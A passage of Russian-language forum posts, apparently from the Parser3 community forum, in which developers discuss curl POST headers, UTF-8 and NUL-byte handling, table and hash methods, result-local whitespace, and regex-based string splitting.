причем мне реально надо передать SMS_BODY через POST-запрос (не POST параметрами - сервер их там тогда просто не ищет)"
"85889","т.е. сервер НЕ ВИДИТ того что посьілается через postfields"
"85890","Дальше включить verbose и посмотреть что в консоль вывалится. Если из под браузера, то перенаправить вывод в файл (все это есть в опциях парсеровского курла) и посмотреть что и куда отправляется.\
\
Ну и тоключать проверки ssl не самая хорошая идея"
"85891","[code]            $.content-type[application/json]\
            $.mode[text]\
            $.charset[UTF-8]\
            $.postfields[$SMS_BODY_JSON]\
            $.post(1)\
            $.verbose(1)\
            $.stderr[.rpt/^now.iso-string[$.colon(false) $.ms(false) $.z(false)].stderr]\
[/code]\
\
в вербозях:\
\
[code]Host: api.блабла\
Accept: */*\
Authorization: Basic блабла\
Content-Length: 188\
Content-Type: application/x-www-form-urlencoded\
\
* upload completely sent off: 188 out of 188 bytes\
[/code]\
\
откуда x-www-form-urlencoded ? \
изза postfields ?\
\
а как тогда в httppost запхать структуру вида\
\
[code]  $SMS_BODY[\
       $.recipients[$lCellulars]\
        $.sms[\
          $.sender[$SMS_FROM]\
          $.text[$SMS_TEXT]\
        ]\
      ]\
[/code] ?\
\
причем lCellulars - єто table::sql которую автоматом крутит в \
{Cellular: \"номер1\"}, {Cellular: \"номер2\"}, {Cellular: \"номер3\"}\
а надо [\"номер1\",\"номер2\",\"номер3\"] ....\
\
а на $.sms[ hash ] - оно ругается is hash, form option value can be string, table or file only"
"85892","несмотря на \
$.content-type[application/json]\
\
в вербозях - показьівает что всеравно передает Content-Type: application/x-www-form-urlencoded\
\
... ???"
"85893","т.е. проблема что какимто боком игнорируется $.content-type[application/json]\
??"
"85894","[code]        $resp[^curl:load[\
            $.url[${SMS_API}/send.json]\
            $.ssl_verifypeer(false)\
            $.connecttimeout(5)\
            $.timeout(5)\
            $.mode[text]\
            $.charset[UTF-8]\
            $.httpheader[\
              $.Authorization[$SMS_AUTH_TYPE $SMS_AUTH_KEY]\
              $.content-type[application/json]\
            ]\
#            $.httppost[$SMS_BODY]\
            $.postfields[$SMS_BODY_JSON]\
            $.post(1)\
#            $.content-type[application/json]\
            $.verbose(1)\
            $.stderr[.rpt/^now.iso-string[$.colon(false) $.ms(false) $.z(false)].stderr]\
        ]]\
[/code]"
"85895","Только кто-то наверное забыл ее прочитать сначала. :)\
\
\"поддерживаются следующие опции Parser:\
...\
$.content-type[CONTENT-TYPE] Поле content-type создаваемого объекта класса file.\
\"\
\
Если убрать комментарий у $.content-type[application/json] и вывести $resp.content-type, там будет application/json."
"85896","т.е. для \"передать на сервер\" надо задавать именно и только в $.httpheader ?"
"85897","Подозреваю еще можно найти варианты, но это не изменит того, что опция $.content-type[] к заданию content-type исходящего запроса никакого отношения не имеет."
"85898","вот интересно, а для чего надо задавать контент-тип ЛОКАЛЬНОГО файла?\
т.е. несмотря на то, что прилетит с сервера все арвно хочу такой?\
но если с сервера приедет xml, а мьі задали json - то както билиберда получается..."
"85899","Опция $.content-type[...] есть у нескольких методов и везде она имеет одинаковый смысл, было бы странно здесь давать ей другой:\
\
https://www.parser.ru/docs/lang/?filesql.htm\
https://www.parser.ru/docs/lang/?filecreate.htm\
\
Да, бывает что приложения выдают не то, что надо и если результат надо выдать дальше в браузер, приходится менять content-type.\
Еще в документации есть возможность оставить свой комментарий, чтобы не ждать следующей версии. :)"
"85906","Здравствуйте,\
\
Nginx-1.20.0 Работает энергично без особых конфигурацией хватает запустить cmd.exe в windows10 зайти в директорию набрав полное имя папки (c:\\)  cd.. Nginx-1.20.0 и nginx что бы убедиться что сервер работает.  \
Apache виснет и тормозит простое использование интернета.  \
Проблема что не понимая как работает общая конфигурация веб-серверов не кто не пишет в \
году 2021 как сконфигурировать fastcgi.conf или nginx.conf и какую версию файла Parser.exe загрузить что бы сработал _test.html из директории parser это просто домашний компьютер и грузить полные пакеты просто займёт много ресурсов ежедневно. А так всё просто.    \
\
К примеру чистый вариант:\
C:\\nginx-1.20.0\\?\
C:\\Parser\\?\
\
что куда? если не одного рабочего варианта не подвержено и полные имена файлов а не подразумевающие понятия тоже помогает.\
\
Очень хочется попробовать Parser от АтрЛебедев."
"85910","[code]$inlineResult[^json:string[\
        $.inline_query_id[$aQuery.id]\
        $.is_personal[true]\
        $.results[\
          $.type[article]\
          $.id[$aQuery.id]\
          $.title[NEW task]\
          $.hide_url[true]\
          $.input_message_content[$parseResult.message]\
        ]\
][$.one-line(true)]]\
[/code]\
\
в results - у нас получается hash, а какимто боком туда надо организовать array\
если сделать через table (с использованием $.table[compact] ) , то внутри input_message_content - у нас $parseResult.message которьій hash, а таблица єтого не позволяет....\
\
прям полголовьі уже сломал как вьікрутиться..."
"85912","https://www.parser.ru/forum/?id=85821\
https://www.parser.ru/forum/?id=85828"
"85913","Спасибо дорогой! Спустя 10 лет я снова несколько часов ломал голову над этим вопросом и ответ нашел здесь. Ох мужик, за 10 лет много всего изменилось... Но парсер ты любишь по прежнему так же сильно, как и мороженое!"
"85914","У нас он например с недавних пор управляет кондиционером с вот таким компрессором:\
\
https://daikin-p.ru/catalog/vse-zapchasti-kondicionerov-daikin/kompressor-daikin-p331315120-sp-hsa3123-3vr-60kw-400v-115v-230v\
\
:)\
\
[code]@command[data;result]\
$TARGET(15.5)\
\
^if($data.Cap == 0){\
#       unit is off\
        ^if($data.OutsideAir > 22.5 && $data.TargetLWT == 30){\
#               turn on\
                $result[on]\
                ^setLWT[13]\
        }\
}($data.EvapPressure < 150){\
#       low pressure\
        ^if($data.Cap > 25){\
                $result[^setCapacity[25]]\
        }\
}($data.EvapLWT > $TARGET){\
#       too warm or to avoid \"Auto\" mode\
        ^if($data.Cap != 26){\
                $result[^setCapacity[26]]\
        }\
}($data.EvapLWT < $TARGET){\
#       too cold and 4 fans or very cold\
        ^if($data.Cap > 25 && ($data.condenser == 4 || $data.EvapLWT < 12) ){\
                $result[^setCapacity[25]]\
        }\
\
#       25% for 22 minutes, boost superheat\
        ^if($data.Cap == 25 && !^recent26[]){\
                $result[^setCapacity[26]]\
        }\
        \
        ^if($data.OutsideAir < 21.5 && $data.TargetLWT != 30 && !^recentStart[]){\
#               turn off\
                $result[off]\
                ^setLWT[30]\
        }\
}[/code]"
"85917","Хочу заранее подстелить соломку, зная о таких случаях.\
Задача читать файл (тело файла будет разбираться как string utf-8).\
\
Хочу принудительно создать ошибку - положить в текстовый файл невалидный utf-8, и загрузить такой файл и обработать на utf-8 валидность.\
\
Как я понимаю, с обработкой валидности поможет обернув\
^try{\
   $file-string[^string:unescape...]\
}\
\
Но опять же, а если я не хочу преобразовывать  %XX %XXXX в символ (и это просто нативное содержание файла) но хочу прогнать на utf-8 валидность?\
\
В любом, случае подскажите именно последовательность байт, что там BOM в середине текста или что-то за пределами диапазона utf?"
"85918","и вот даже сайт parser.ru крякает 500ой, по урлу\
[url=\"www.parser.ru/%EFFF\"]www.parser.ru/%EFFF[/url]\
\
А на Парсере 3.4.7b у меня чет никак не получается поломаться и вызвать исключение с именно ошибкой невалидного utf (при ^string:unescape[uri;$request:uri;$.charset[UTF-8]]), по крайней мере через получение стринга в урле.\
\
А на запрос вида: www.myserver.ru/%%EFFF\
(при Парсере запущенном со своим веб-сервером)\
\
Парсер отвечает 400-ой (bad request)\
с ответом invalid uri '/%%EFFF'\
\
(т.е. до рантайма, ну или по меньшей мере поймать это в @unhandled_exception уже никак нельзя)\
\
С урлом я морочусь (потому, что там вроде как ^string:unescape[uri...] ) получается в тему и можно руками позадавать байт-последовательность, но ожидаемый неваладиный utf-8 все равно не могу словить"
"85920","Парсер умеет работать и с однобайтовыми кодировками, в которых допустимы любые символы, валидность utf-8 он не проверяет и для работы парсера она не существенна. А вот для регулярных выражений это важно, библиотека регулярных выражений проверяет, что передан валидный UTF-8, и если это не так, бросается исключение \"UTF-8 validation failed during pcre_exec\"."
"85921","Но да, 500-ая ошибка некрасиво, обернул в try и сделал 404-ую."
"85923","[quote]и для работы парсера она не существенна. [/quote]\
Вот это я как раз и пытаюсь выяснить боем, и вот во что я _пока_ воткнулся\
\
1) Есть utf-8 стресс-тестовый файл от некоего Dr.Markus Kuhn\
https://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt\
\
который был создан спровоцировать всякие utf-8 декодеры и валидаторы на всевозможные типы некорректных utf-8 последовательностей\
\
Занимает он примерно 22.7Кб\
\
2) По ссылке выше он прекрасно открывается в актуальном хроме в text/plain (все невалидные бяки выглядят как вопросики или окошечки, как в общем и должно быть)\
\
\
3) Если же попытаться загрузить его Парсером и отдать, как-то так:\
[code]\
$request:charset[utf-8]\
$response:charset[utf-8]\
$response:content-type[\
	$.value[text/plain]\
	$.charset[$response:charset]\
]\
\
$f[^file::load[binary;/UTF-8-test.txt]]\
-- start --\
^untaint{$f.text}\
-- end --\
[/code]\
\
\
То получим только примерно 4кб текста вида:\
\
[code]\
-- start --\
UTF-8 decoder capability and stress test\
----------------------------------------\
\
Markus Kuhn <http://www.cl.cam.ac.uk/~mgk25/> - 2015-08-28 - CC BY 4.0\
\
This test file can help you examine, how your UTF-8 decoder handles\
various types of correct, malformed, or otherwise interesting UTF-8\
\
...\
\
2.1  First possible sequence of a certain length                              |\
                                                                              |\
2.1.1  1 byte  (U-00000000):        \"\
-- end --\
[/code]\
\
\
Т.е. вывод споткнётся на строчке 2.1.1 стресс-тестового файла\
\
лимит на загружаемый файл проверил (стоит 512Мб как было в корневом \
auto.p в default-конфиге)\
[code]\
$LIMITS[\
  $.max_file_size(512*0x400*0x400)\
...\
]\
[/code]\
\
Причем, и в text/html куда нить в тег <pre></pre> или в <textarea></textarea> - эффект одинаковый. Грешить на \"неотображение самим браузером не приходится\", т.к. и wget выкачивает 4Кб ответ (да и пример файла с домашней страницы автора файла открывается вроде без проблем).\
\
Грузил файл и в binary и в text, \
и таинтизмы на всякий случай делал\
\
\
[code]\
и\
\
^untaint{$f.text}\
\
и\
\
$str[^taint[as-is][$f.text]]\
$str\
[/code]\
\
Результат одинаковый - вывод прерывается на п.2.1.1 этого файла.\
\
Хорошо бы понимать, что происходит, лучше бы ругалось, но оно не ругается, а просто съедает тихо.\
\
P.S.: Т.е. чисто технически задача или вопрос стоит так:\
1) Вот есть text/plain файл по ссылке = https://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt\
\
2) Как мне Парсером (со встроенным веб-сервером) отдать этот файл так же (полностью) как он отдается веб-сервером домашней страницы автора?\
\
Но в идеале конечно понять ситуацию."
"85924","[code]\
$f[^file::load[binary;/UTF-8-test.txt]]\
$str[^taint[as-is][$f.text]]\
$_void[^str.match[^^[\\p{L}\\p{Nd}_-]+^$][n]]\
[/code]\
\
\
Никаких ошибок не вызывает\
и в $str все тот же обрубок на 4Кб из 22.7Кб\
\
Опытным путем, стало ясно, что чтение в буфер обрывается тупо\
встретив 0x00 (в hex) \
т.е. там как раз идет тестовое место\
\
\"?\" = 0x22,0x00,0x22  (кавычка, 00-байт, кавычка)\
\
Рискну предположить, что дело в NUL-terminator'e в Си-стрингах?\
\
По меньшей мере, если эту строку (с 0x00) удалить, то \"визуально\" (не проверял побайтно пока) файл читается/выводится из буфера как будто весь.\
\
Но при одинаковых (с авторским сайтом) заголовках (content-type,charset и даже прочих) - \"вопросики\" рендерятся всё равно местами как-то по-разному \
\
Скрин = https://i.postimg.cc/3JPQDN49/Screenshot-2021-07-20-19-50-13.png"
"85925","Да, текстовый формат в парсере подразумевает отсутствие символов с нулевым кодом, кроме того нормализуются переносы строк (в unix формат). В вашем случае $f - это полный файл, поскольку загружен в формате binary, в таком виде его можно вернуть например через $response:body[$f], как это делается в [url=\"https://github.com/artlebedev/parser3/blob/master/etc/auto.p.in\"]идущей в комплекте реализации веб-сервера[/url]. А вот $f.text - это уже текстовая часть файла, до первого \\0."
"85926","...у Парсера нет никакого класса для работа с байт-массивом, тем более, когда он стал таким удобным standalone blob`ом который можно таскать с собой и использовать в удобных утилитарных целях.\
\
Но есть ряд задач, когда хочется вручную построить binary-последовательность, поменять что-то на лету, автоматизированно потыкаться в байты файла, сделать какую-то batch-утилиту для масс-конвертации, да вот ту же побайтную \"сравнивалку\" utf-теста, в целях отладки, надо будет прибегать к сторонним утилитам или языкам."
"85927","Попробовал так:\
[code]\
$f[^file::load[binary;/UTF-8-test.txt]]\
$response:body[$f]\
$response:charset[utf-8]\
\
и пробовал так:\
\
$request:charset[utf-8]\
$response:charset[utf-8]\
$response:content-type[\
	$.value[text/plain]\
	$.charset[$response:charset]\
]\
\
# даже думал вот так прокатит, но нет\
# $response:content-type[text/plain^; charset=UTF-8]\
\
результат не меняется\
\
[/code]\
\
Получаю \"кракозябры\" (на тесте греческих букв), \
т.е. там где их быть не должно, потому что браузер не получает\
в заголовках кодировку. Смотрю через Network-отладку в хроме и вижу:\
[code]\
HTTP/1.0 200 OK\
Content-Type: text/plain\
Server: Parser_Server_3.4.7b (compiled on x86_64-unknown-linux-gnu)\
Date: Wed, 21 Jul 2021 08:09:57 GMT\
Connection: close\
Content-Disposition: inline; filename=\"UTF-8-test.txt\"\
Content-Length: 22781\
[/code]\
\
Тогда, как если отдавать через обычный (стринг) поток, вида:\
[code]\
$request:charset[utf-8]\
$response:charset[utf-8]\
$response:content-type[\
	$.value[text/plain]\
	$.charset[$response:charset]\
]\
\
$f[^file::load[binary;/UTF-8-test.txt]]\
$result[^taint[as-is][$f.text]]\
\
# -- получаем: --\
Content-type с указанием кодировки\
\
\
HTTP/1.0 200 OK\
Content-Type: text/plain; charset=UTF-8     \
Server: Parser_Server_3.4.7b (compiled on x86_64-unknown-linux-gnu)\
Date: Wed, 21 Jul 2021 08:14:39 GMT\
Connection: close\
Content-Length: 4181\
[/code]"
"85928","Правда медленно, только для единиц килобайт подходит, возможно позже оптимизируем.\
\
$hex[^math:convert[$f](256;16)] - переведет файл в его HEX представление.\
-- меняем что хотим ---\
$f[^math:convert[$hex](16;256)[ $.format[file] ]] - обратно."
"85929","но такой себе метод, т.к. BOM для UTF-8 кажется в стадии \"не рекомендован\", как минимум для веба."
"85931","В случае $response:body[$f] тип содержимого определяется файлом, в файле его и надо задавать:\
\
[code]$f[^file::load[binary;...]]\
$f[^file::create[$f; $.name[] $.content-type[text-plain^; charset=\"$response:charset\"]]]\
$response:body[$f][/code]\
\
\
$.name[] - это чтобы не было Content-Disposition: inline."
"85933","Чет беглый поиск не дал однозначного ответа.\
\
Хочу, например\
[code]\
^if($var !is hash){ }\
\
# или надо\
\
^if(!$var is hash){  }\
\
# или\
\
^if(!($var is hash)){  }\
[/code]\
\
\
Как это кошерно делается для Парсера?"
"85935","блин третий вариант - максимально страшненько конечно.\
[code]!is[/code] было бы куда симпатичнее, тем более по аналогии с \
[code]!def[/code]\
и с введением не поломало бы обратной совместимости вроде как.\
т.к. мог бы сожительствовать с первоначальным вариантом в параллели."
"85936","… то вариант с отрицанием is свидетельствует о чем-то нехорошем в программе. Такие конструкции лучше не использовать совсем или заменить на:\
[code]\
^switch(true){\
  ^case($var is table){…}\
  ^case[DEFAULT]{тот самый not is}\
}\
[/code]\
\
Иначе получите трудноуловимые ошибки на ровном месте.\
\
p.s. Чем меньше в программе отрицаний в if тем лучше. Программирование отпротивного до добра не доводит. ;)"
"85937","Про много отрицаний (которые нередко приводят к логическим багам - согласен), но все же целый switch-case на проверку одного типа, чет как-то монструозно.\
\
Проще тогда просто оставлять пустой {then}{ и использовать else }, например\
\
\
[code]\
@method[var]\
^if(def $var && $var is string){}{ ^throw[] }\
[/code]\
\
но тоже читаемость под вопросом, с ходу бросается в глаза что ^throw в {then},\
да, на пример выше просится, скорее, покрытие тестами с положительно утверждающими assert-ами, но это просто пример из, и таки \"лучше делать поменьше not\" довольно странный аргумент с академической точки зрения."
"85938","Класс table заметно подрос с версии 3.4.4, появился метод insert (вставка) в произвольное место, с раздвижением строк, как я понимаю.\
\
А почему обратную операцию - банальный delete (с места указателя строки) не стали делать? Вставки нужны, а удаления нет? \
\
То, что можно преложиться через всякие конвертации в хэши, объединения, результаты поиска и проч, это и до insert понятное дело можно было, но это ж семантически некрасиво. Чем продиктована такая аскетичность?"
"85940","Лишние проверки на тип не нужны в большинстве случаев - используем duck typing. Там где нужны всегда можно сделать положительную проверку с ранним выходом — return в Парсере некоторое время назад завезли. Поэтому как видим not, is или else в if'е, сильно начинаем думать — это место, почти всегда, можно переделать на более понятную конструкцию.\
\
Чисто академически, отрицательные проверки не сильно нужны. :)\
\
И нет, это не правило, а лишь запах кода на который стоит обращать внимание."
"85941","... поэтому удаление — это очень странная операция для таблиц. В идеале, отфильтровать в базе все что нужно, а в программе только итерировать. \
\
append в табличках иногда полезен для того чтобы сделать параметры для file::exec по условиям.\
\
Для всего остального удобнее хеши. Делать операции просто ради академической полноты не лучшее решение. Если есть реальные, практические кейсы, где безе delete не обойтись — расскажите."
"85942","[quote]То, что можно преложиться через всякие... [b]результаты поиска[/b] и проч, это понятно[/quote]\
\
Не, ну такого уродства нагородить можно сколь угодно, а если у вас нет поля ID на уровне контента таблицы, и есть две строки с одинаковым контентом? )) удалять как будете? Еще и на дубли проверять? Вам же надо удалить строку с конкретным offset, а поиск принесет любые оффсеты соответствия контенту."
"85944","[quote]То, что можно преложиться через всякие [b]конвертации в хэши[/b]...[/quote]\
\
Просто это реально некрасиво и странно вкупе именно с существованием [b]insert[/b], который ввели, а обратную операцию [b]delete[/b] - \"и так сойдет\" :)\
\
Уверен, в годы лишь нативного append, заявка на insert получила бы точно такую же отговорку, мол зачем вам insert? -- \"у вас же дорог нет\" (с) таблица это почти всегда результат SQL-запроса!\
\
Однако вот человек по треду - поиск для удаления использует. Фулскан делает на каждый чих строки - какая \"красота\" :) (table это же не постреляционка)\
\
Не, то что в любой непонятной ситуации хеши интереснее и table вообще атавизм который можно было бы выкинуть, но для этого надо было бы хешам дать insert xD\
\
А у хешей есть наоборот - только delete (и доступ по оффсету), но нет insert'a - вот на лицо хромая выразительность. \
\
Давайте или хешу insert добавим (по оффсету) или table delete дадим. Но когда или/или и надо прыгать из одного в другое...\
\
P.S.: И чтобы выпилить таблицы (из полной практики) -- надо тогда кортежи дать (или опцию неизменяемой \"структуры\" хеша (все равно уже от классического хеша далеко отъехали, дав ему управляемый порядок ключей с оффсетами), вот тогда да это будет полная замена таблицы, т.к. таблица это список кортежей (строк, с неизменяемой структурой, что и дает в итоге ровную сетку)"
"85945","[quote]Не, ну такого уродства нагородить можно сколь угодно, а если у вас нет поля ID на уровне контента таблицы, и есть две строки с одинаковым контентом? )) удалять как будете? Еще и на дубли проверять?[/quote]\
\
Уродство — это отсутствие первичного ключа.\
Но и на такой случай есть простой костыль — [i]SELECT DISTINCT …[/i].\
\
Да, у таблицы нет удаления.\
Но лично я, за 19 лет работы с Парсером, не могу припомнить случая, когда оно бы требовалось."
"85947","...или вы 19 лет \"удаляете строки поиском\" или 19 лет \"вам вообще не потребовался delete\".\
\
А если вы 19 лет заменяете delete любой строки - фулсканом всей таблицы, то вам ни наличие поля ID, ни select distinct не помогает при этом - фулскан все равно происходит (потому что структуре table пофигу на содержимое любого поля). \
\
Лучше напишите, где вы используете таблицы и удаление строк в реальном кейсе, просто интересно."
"85949","[quote]...или вы 19 лет \"удаляете строки поиском\" или 19 лет \"вам вообще не потребовался delete\".[/quote]\
\
За это время мне ни разу, по крайне мере не могу припомнить, не потребовалось удаление строк таблицы.\
\
[quote]Лучше напишите, где вы используете таблицы и удаление строк в реальном кейсе, просто интересно.[/quote]\
\
Таблицы — везде при запросах к БД, удаление строк — нигде."
"85950","Загвоздка в том, что это почти любой атомарный кейс - когда тебе нужен список (List, Array) чего-то (записи, параметры с приоритетами,и т.п.), т.е. везде, где тебе важен порядок следования, и есть потребность в этот список добавлять не только с конца, но и в произвольное место, или удалять из произвольного места.\
\
Т.е. работа с рядами, что основы конструкции многих популярных языков. \
(для наглядой аналогии, чтобы не было вопросов, что я придумываю эфемерные потребности - то любой кейс, для которого нужно вот это https://docs.python.org/2/tutorial/datastructures.html#more-on-lists)\
\
Никто же не скажет - зачем Lists и методы insert и remove - Питону?\
И никто не скажет, что если \"там\" это пригодилось (и язык пригоден для веба), то в в коде на Парсере внезапно такие задачи должны раствориться?\
\
\
Для работ с рядами - в Парсере нет Array, нет List, нет tuples (чтобы приготовить из списка тюплов - таблицу).\
\
Потому, что есть уже вкусные Table и Hash-с-сохранением-порядка, которые вроде как перекрывают упомянутые структуры слихвой, но родовая травма (отстуствия insert у hash и delete у table) - никак красиво не убирается.\
\
Чтобы мне поддерживать упорядоченный список значений, и производить операции с ним, мне надо: \
\
- или использовать table и \"19 лет подряд удалять записи фулскан-поиском\"/конвертацией в хеш и обратно на каждый чих.\
\
- или воротить на самом Парсере класс с \"прокладкой\" в виде нумерации на хешах, что явно ни про эффективность, ни про выразительность, ни про \"использование нативных вещей\" вместо изобретения велосипеда, вида:\
[code]\
$ordered_hash[\
  $.1[ $.key[value] ]\
  $.2[ $.key[value] ]\
]\
[/code]\
и поддерживать операции вставки, пересортировки и сохранения порядка нумерации - самому в классе на Парсере, тогда как нативное (и быстрое) свойство порядка ключей у хеша выкидывается мной на помойку при таком подходе.\
\
Тут даже намного больше проблем, мгновенный доступ по ключу - тоже убивается нафиг, и надо будет перебрать все 1.key 2.key 3.key (которые уже кстати могут стать и неуникальными).\
\
Не, может это как-то проще делается в Парсере - тогда ткните носом, покажите, как вставлять и удалять по оффсету из хеша.\
\
А если никак, то все проблемы остаются только из-за отсутствия insert у хешей. \
Если бы голосовать, что нужнее insert у хеша или delete у table - то в идеале и то и другое, но insert хешу - как кислород, т.к. закрывает эту боль полностью.\
\
И хеши в разы удобнее, т.к. значением может быть любой объект. А после того, как хешу дали и sort и select (!) - и подавно. После таких неожиданно щедрых методов table можно прикопать по сути. Но оставить хеш без insert - это прям изуверство :)\
\
И, да, реально я не хочу разводить полемику в троллинг-коннотации (Парсер я трогаю редко, но он мне нравится многим другим, поэтому я рдею за него, чтобы он стал еще лучше - коммитить в проект у меня не хватит ни времени ни скилла пожалуй)."
"85951","https://www.parser.ru/forum/?id=85950  \
?"
"85952","Сделать обертку вокруг хеша для практических задач тривиально. Что и делаем там где это требуется."
"85957","table.delete есть с 3.4.4 но недокументирован.\
\
Moko, Леша в Редмайне в #1016 про это писал, но мы пропустили. :)"
"85958","[code]$src[( (28 == 1)  || (28 == 2) ) && ((7 % 2 == 0 )) && ( (3 == 1) )]\
^eval($src)[/code]\
\
exception: invalid number (double)"
"85960","почему при определении result в функции внутренности ^void:sql{} тоже сжираются?\
т.е. как при определении \
@func[][result]\
внутри такой функции сделать\
^void:sql{UPDATE aTable WHERE ID = ^aID.int(0)}\
?\
\
потому как вьілетает exception мол скл плохой:  UPDATEaTableWHEREID=7"
"85961","bug.html:\
[code]\
@main[]\
  ^test[]\
  \"$MAIN:var\"\
\
@test[][result]\
  ^method{one two three}\
\
@method[arg]\
  $MAIN:var[$arg]\
[/code]\
\
Result:\
[code]\
\"onetwothree\"\
[/code]\
\
Заведу тикет в багтрекер."
"85962","[code]$columns[^table::create{name\
1\
2\
\
4\
5}][/code]\
\
Почему ^columns.count[] = 4, когда ожидается 5?\
\
[code]\
^columns.menu{$columns.name}[=]\
[/code]\
\
Почему выдает \"1=2=4=5\", когда ожидается \"1=2==4=5\"?\
\
Parser/3.4.5 (compiled on x86_64-pc-linux-gnu)"
"85963","[quot]\
Табличные данные - данные, представленные в формате tab-delimited, то есть столбцы разделяются символом табуляции, а строки - символом перевода строки. При этом части первой строки, разделенные символом табуляции, рассматриваются как имена столбцов, и создается именованная таблица. [b]Пустые строки игнорируются.[/b] Если необходимо получить таблицу без имен столбцов (что не рекомендуется), то перед заданием табличных данных необходимо указать параметр nameless. В этом случае столбцы первой строки воспринимаются конструктором как данные таблицы, а в качестве имен столбцов выступят их порядковые номера, начиная с нулевого. \
[/quot]"
"85964","Это понятно, но это при создании. А получается еще и при сплите\
\
[code]$columns[1-2--4-5]\
$columnsSplit[^columns.split[-]]\
\
^columnsSplit.menu{$columnsSplit.piece}[=]\
\
[/code]\
\
>> 1=2=4=5\
\
а если вот так, поведение другое и выводит как и ожидалось. но это только при сплите\
\
[code]\
^columnsSplit.menu{\
	$columnsSplit.piece\
	^if(^columnsSplit.line[] < $columnsSplit){=}\
}\
[/code]\
\
>> 1 = 2 = = 4 = 5"
"85965","Почитайте про menu в доке. Разделитель не ставится, если результат итерации пустой."
"85968","«Если в методе явно объявить локальную переменную result, это укажет Parser, что нужно проигнорировать все пробельные символы в коде (фигурных скобках).»\
\
Вот Парсер и с оптимизировал все, что в фигурных скобках. С вызовом методов результат не совсем ожидаемый, но формально правильный."
"85969","Можно обойти, $temp[^void:sql{UPDATE aTable WHERE ID = ^aID.int(0)}], но я стараюсь ей вообще не пользоваться, придумана она была скорее для ускорения работы кода, сейчас все куда лучше оптимизируется и без этого."
"85970","И оптимизация и return сводят на нет смысл в result-local."
"85971","[code]\
  $lSQL[\
    UPDATE aTable\
    SET isActive = NOW()\
    WHERE\
       ID = ^aID.int(0)\
   ]\
   ^void:sql{$lSQL}\
[/code]"
"85974","не представляю как стрипать неизвестное количество ненужньіх #0A и оставить неизвестное количество нужньіх #0A..\
\
в текущем(часном) варианте - запуск руками или через крон, в общем случае - используется для через веб, так что console - не подходит :(\
\
в лог - или как результат через веб - кидаются или текстьі или производнье от всяких json:string в зависимости от ...\
\
проблема только в количестве вьіводимьіх \"лишних\" переводах строк, которьіе прекрасно убираются через result_local"
"85975","У меня всегда для консоли отдельные приложения, которые формируют совсем иной вывод в консоль. Модели одинаковые в ядре, а вот интерфейсы разные — html, api, консоль и т.д. Так что если подходит result, то ок. Если архитектура приложения позволяет делать отдельный вывод в консоль и не пользоваться стремными методами, то еще больше ок. ;)"
"85977","[i]Если что нуб в Парсере, поэтому прошу носом в книгу.[/i]\
\
TL;DR\
Изучая регулярку в реализации пользовательского оператора [b]rsplit[/b], надо отдать должное, что у Misha v.3 она выглядит недвусмысленно, а вот у E.Spearance в глаза бросился \"хак\" (отражение которого я не вижу в документации).\
\
Ссылки на реализации rsplit:\
[url=\"https://www.spearance.ru/parser3/rsplit/\"]изначальная от E.Spearance[/url]\
и\
[url=\"https://www.parser.ru/examples/rsplit/\"]оптимизированная от Misha v.3[/url]\
\
[code]\
Не усложняя, возьмем строку, например\
$str[Masha-da-ne-nasha]\
и простой разделитель\
$delimeter[-]\
\
\
в реализации Misha.v.3 регулярка имеет вид:\
^str.match[(.+?)(?:$sRegex|^$)][g]\
\
что дает ясное понимание:\
  нежадной квантификацией для первой группы скобок\
  найти все подстроки перед разделителем\
  (описаным во второй группе скобок)\
  или \
  перед концом всей строки, что логично, т.к.\
  в описание (подстрока)(разделитель)\
  попадут только:\
  (Masha)(-)\
  (da)(-)\
  (ne)(-)\
  а \"nasha\"\
  попадет под\
  (nasha)(^$)\
\
  \
Но у E.Spearance мне бросился в глаза \"хак\" без \"или\", вида:\
\
$table_split[^table::create{piece}]\
$result[^text.match[(.*?)(?:$regex)][g]{^if(def $match.1{^table_split.append{$match.1}}}]\
^if(def $result){^table_split.append{$result}}\
\
Т.е. он так же ищет все паттерны\
(подстрока)(разделитель)\
в которую войдут только первые три слова \"Masha, da, ne\"\
\
А остаток после разделителя и до конца строки он получает из\
result'a\
[/code]\
\
И именно в этом суть вопроса: а как это так? \
Почему во-первых, в результате match - строка?!\
Когда в документации написано:\
[quote]Если указана опция поиска g, будет создана таблица (объект класса table) найденного по шаблону (по одной строке на каждое вхождение). Если опция g не была указана, то таблица будет содержать лишь одну строку с первым вхождением. Если не было найдено ни одного совпадения, то результатом операции будет пустая таблица. Если указана опция n то вместо таблицы с результатами будет возвращаться число - количество найденных совпадений.[/quote]\
Только тип table или тип int/double (при опции n) - точка! \
Где я пропускаю текст и не вижу в документации, чтобы метод match возвращал тип string?\
\
\
И раз уж он это делает, то где описано, почему туда попадает\
подстрока-\"остаток\" от \"непопавшей под остальной шаблон\" строки?\
\
Спасибо."
"85978","match с тремя или четырьмя параметрами делает замены и возвращает строку.\
\
https://www.parser.ru/docs/lang/stringmatch.htm\
https://www.parser.ru/docs/lang/stringmatchreplace.htm\
\
У Жени используется три параметра. Код в фигурных скобках не возвращает ничего, только добавляет подстроку в таблицу table_split, поэтому после работы регэкспа в result остается «остаток» строки, потому что все найденное заменится на пустую строку. Никакой магии и хаков вообще нет — обычный алгоритм."
"85980","Задача: \
есть некий текстовый формат файла нижеследующего вида.\
\
1) первая строка всегда начинается с \"---\"\
\
2) каждая отдельная полезная запись предваряется \">\" с начала строки\
\
3) или \"->\" или \"-->\" и т.д. \
дефисы в кол-ве (0 или более) служат для уровня, \
но нам на него пофигу, нам надо просто забрать все тела записей\
(т.е. всё что после \">\" и до сл.границы другой записи)\
\
4) тело записи может быть многострочно, т.е. в примере ниже \
[code]line4\
still line4 content[/code] \
это отдельная запись (с сохранением всех переносов)\
\
5) а также пустые записи (типа последние 3 строки), тоже нужно посчитать\
т.е. чтобы попали в виде пустых строк в общую match-таблицу\
\
6) Собственно рабочий пример файла:\
[code]\
---\
>line\
->line2\
-->line3\
--->line4\
still line4 content\
>\
>\
->\
[/code]\
\
Скажу сразу, я пробовал разные отладчики regexp-ов, но при переключении PCRE, PCRE2, Python, ECMA,... они выдают порой разные результаты, при том, что я далеко не уходил каких-то наворотах. Это говорит, что есть поведение (особенно с жадностью) которое я не понимаю.\
\
[code]\
Моя логика была следующей:\
Коль скоро первая линия \"---\" нам не нужна (а она всегда есть),\
то признак начала записи упрощается до\
(символ_конца_строки) + (дефис 0 или более) + (>)\
\
А дальше всё что угодно, только не результат :)\
\
$txt[---\
>line\
->line2\
-->line3\
--->line4\
still line4 content\
>\
>\
->\
]\
\
